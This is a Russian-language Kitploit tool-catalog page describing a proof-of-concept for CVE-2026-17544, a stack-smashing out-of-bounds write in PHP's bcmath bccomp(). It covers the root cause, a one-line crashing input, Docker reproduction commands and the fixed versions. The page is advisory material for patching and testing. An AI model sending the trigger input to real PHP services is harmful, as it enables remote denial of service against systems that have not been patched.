Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-17544-PoC — CVE-2026-17544 — PHP bcmath bccomp(): запись вне границ (разрушение стека). Проверено: падение на 8.4.23/8.5.8, исправлено в 8.4.24. GHSA-x692-q9x7-8c3f | Kitploit
Инструменты/GitHubGitHub/boreas37/cve-2026-17544-poc
Анализ уязвимостейЭксплуатацияЭксплуатация Бинарных Файлов
GitHubboreas37/cve-2026-17544-poc

CVE-2026-17544-PoC

CVE-2026-17544 — PHP bcmath bccomp(): запись вне границ (разрушение стека). Проверено: падение на 8.4.23/8.5.8, исправлено в 8.4.24. GHSA-x692-q9x7-8c3f

Репозиторий
63128 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-17544 — PHP bcmath bccomp(): запись вне границ буфера (разрушение стека)

CVSS 9.8 (критический) · CWE-787 · GHSA-x692-q9x7-8c3f

Сводка

bc_str2num() в ext/bcmath/libbcmath/src/str2num.c (встроенная libbcmath, PHP 8.4+) содержит ошибку off-by-N, приводящую к записи вне границ. Когда переданный пользователем scale меньше автоматического масштаба операнда, дробная часть усекается, а затем выполняется обрезка завершающих нулей **без обновления fractional_end**. Буфер выделяется под обрезанную (более короткую) длину, но при копировании используется необрезанная длина → переполнение буфера в куче/стеке.

Затронуто: PHP 8.4.* < 8.4.24, 8.5.* < 8.5.9 Исправлено: PHP 8.4.24 / 8.5.9 (2026-07-30), коммит fa18dab73f93 / ce2ec8a70755 Recep Asan (recepasan)

Автор отчёта:

Корневая причина

root@kitploit:~
// ext/bcmath/libbcmath/src/str2num.c — bc_str2num()
str_scale -= fractional_end - fractional_new_end;   // fractional_end NOT updated here
...
bc_new_num_nonzeroed(digits, str_scale)            // allocates SHORT (trimmed) buffer
bc_copy_and_toggle_bcd(nptr, fractional_ptr, fractional_end)  // copies UNTRIMMED length

Однострочное исправление (fractional_end = fractional_new_end;) и регрессионный тест ext/bcmath/tests/GHSA-x692-q9x7-8c3f.phpt были добавлены в 8.4.24/8.5.9.

Воспроизведение (проверено)

root@kitploit:~
bccomp("1." . "9" . str_repeat("0", 300) . "1", "0", 300);
СборкаРезультат
PHP 8.4.23 (уязвимая, Docker php:8.4.23-cli + bcmath)💥 *** stack smashing detected ***, код возврата 133 (SIGABRT)
PHP 8.5.8 (уязвимая)💥 то же самое — детерминированное аварийное завершение
PHP 8.4.24 (исправленная, php:8.4.24-cli)✅ int(1), код возврата 0

Проверено 2026-08-12 на Raspberry Pi 5 (arm64) через Docker.

Использование

root@kitploit:~
# Vulnerable PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.23-cli sh -c \
  'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> stack smashing detected (exit 133)

# Patched PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.24-cli sh -c \
  'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> int(1), exit 0

Воздействие

  • Удалённый DoS: любой сервис, передающий управляемые атакующим операнды/scale в bccomp(), может быть детерминированно аварийно завершён (8.4/8.5, сборки со stack-protector аварийно останавливаются; незащищённые сборки повреждают сохранённые регистры/обратный адрес).
  • RCE: теоретически возможно с помощью heap grooming, но внеграничные байты ограничены значениями BCD (0x00–0x09), а размер переполнения = количеству обрезанных нулей — сложно, не продемонстрировано.

Ссылки

  • GHSA: https://github.com/php/php-src/security/advisories/GHSA-x692-q9x7-8c3f
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-17544
  • Исправление 8.4: fa18dab73f93 · Исправление 8.5: ce2ec8a70755
Скачать инструмент